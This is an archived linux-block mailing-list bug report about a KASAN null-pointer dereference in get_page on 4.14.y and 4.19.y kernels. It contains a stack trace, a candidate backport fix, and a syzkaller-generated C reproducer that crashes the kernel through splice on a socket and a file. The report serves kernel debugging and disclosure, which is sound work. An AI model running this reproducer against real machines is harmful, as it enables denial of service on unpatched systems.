From: Zubin Mithra <zsm@chromium.org>
To: axboe@kernel.dk, hch@lst.de, osandov@fb.com, ming.lei@redhat.com,
linux-block@vger.kernel.org
Cc: groeck@chromium.org
Subject: KASAN: null-ptr-deref in get_page
Date: Fri, 29 Oct 2021 09:15:35 -0700 [thread overview]
Message-ID: <YXweJ00CVsDLCI7b@google.com> (raw)
Hello,
Recently we noticed the attached PoC cause a GPF with the following stacktrace in linux-4.14.y and linux-4.19.y.
BUG: KASAN: null-ptr-deref in get_page+0xf/0x65
Read of size 8 at addr 0000000000000008 by task poc2/3395
CPU: 0 PID: 3395 Comm: poc2 Not tainted 4.19.214-00936-g38ec06730e44 #59
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
Call Trace:
dump_stack+0xe7/0x131
kasan_report+0x22a/0x272
get_page+0xf/0x65
submit_page_section+0xf4/0x202
do_blockdev_direct_IO+0xb90/0xfb9
? dio_set_defer_completion+0x57/0x57
? lock_is_held_type+0x78/0x86
? jbd2_journal_stop+0x6fa/0x742
? ext4_get_block_trans+0x188/0x188
? lock_downgrade+0x29a/0x29a
? __blockdev_direct_IO+0x52/0x93
? do_journal_get_write_access+0x7b/0x7b
ext4_direct_IO+0x4eb/0x7ad
? ext4_get_block_trans+0x188/0x188
generic_file_direct_write+0x132/0x1d8
__generic_file_write_iter+0xa6/0x1c0
? generic_write_checks+0x173/0x19d
ext4_file_write_iter+0x450/0x549
? ext4_unwritten_wait+0x153/0x153
? iter_file_splice_write+0x11a/0x4d7
? lock_acquire+0x1a7/0x1e7
? iter_file_splice_write+0x11a/0x4d7
? lock_acquire+0x1b7/0x1e7
? match_held_lock+0x2e/0x102
? __lock_is_held+0x2a/0x87
do_iter_readv_writev+0x145/0x1b1
? file_start_write.isra.0+0x34/0x34
? avc_policy_seqno+0x1d/0x25
? selinux_file_permission+0xce/0x115
do_iter_write+0xa6/0xe6
iter_file_splice_write+0x337/0x4d7
? __do_compat_sys_vmsplice+0x16c/0x16c
? match_held_lock+0x2e/0x102
? lock_is_held_type+0x78/0x86
__do_sys_splice+0x6cc/0x8f6
? ipipe_prep.part.0+0x99/0x99
? mark_held_locks+0x2d/0x84
? do_syscall_64+0x14/0x90
do_syscall_64+0x74/0x90
entry_SYSCALL_64_after_hwframe+0x49/0xbe
RIP: 0033:0x43f579
Applying the following patch on linux-4.14.y/linux-4.19.y stops the crash from occurring on either of
these kernels.
3d75ca0adef4 ("block: introduce multi-page bvec helpers")
Tracking the control flow with and without 3d75ca0adef4; there seems to be a callpath as follows:
do_blockdev_direct_IO => do_direct_IO => dio_get_page => dio_refill_pages => iov_iter_get_pages
iov_iter_get_pages() returns 0x8000(without the patch) vs 0x1000(with the patch). This seems to be the
first point at which control flow diverges between the two from do_blockdev_direct_IO() onward.
Is 3d75ca0adef4 the correct fix, or would it be masking a different underlying problem?
PoC causing crash below:
// general protection fault in __blockdev_direct_IO
// https://syzkaller.appspot.com/bug?id=d98d666ccfa0e74f2e459083956394fee8a985df
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
void execute_one(void)
{
int pipefd[2];
int sockfd;
int fd;
syscall(__NR_creat, "./bus", 0);
if (creat("./bus", 0) == -1) {
fprintf(stderr, "creat failed\n");
exit(1);
}
if (pipe(pipefd) == -1) {
fprintf(stderr, "pipe failed\n");
exit(1);
}
if ((sockfd = syscall(__NR_socket, 2, 1, 0)) == -1) {
fprintf(stderr, "socket failed\n");
exit(1);
}
*(uint32_t*)0x20000080 = 1;
syscall(__NR_setsockopt, sockfd, 6, 0x10000000013, 0x20000080, 4);
*(uint32_t*)0x20788ffc = 1;
syscall(__NR_setsockopt, sockfd, 6, 0x14, 0x20788ffc, 0xfdf6);
*(uint16_t*)0x20000000 = 2;
*(uint16_t*)0x20000002 = htobe16(0);
syscall(__NR_connect, sockfd, 0x20000000, 0x10);
memcpy((void*)0x20000100, "\xcc", 1);
syscall(__NR_sendto, sockfd, 0x20000100, 0xffffffffffffff3d, 0, 0, 0);
syscall(__NR_splice, sockfd, 0, pipefd[1], 0, 0x11001, 0);
memcpy((void*)0x20000040, "./bus\000", 6);
if ((fd = syscall(__NR_open, 0x20000040, 0x4082, 0)) == -1) {
fprintf(stderr, "open failed\n");
exit(1);
}
syscall(__NR_splice, pipefd[0], 0, fd, 0, 0xffffffff, 0);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
execute_one();
return 0;
}
Thanks,
- Zubin
reply other threads:[~2021-10-29 16:15 UTC|newest]
Thread overview: [no followups] expand[flat|nested] mbox.gz Atom feed
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=YXweJ00CVsDLCI7b@google.com \
--to=zsm@chromium.org \
--cc=axboe@kernel.dk \
--cc=groeck@chromium.org \
--cc=hch@lst.de \
--cc=linux-block@vger.kernel.org \
--cc=ming.lei@redhat.com \
--cc=osandov@fb.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).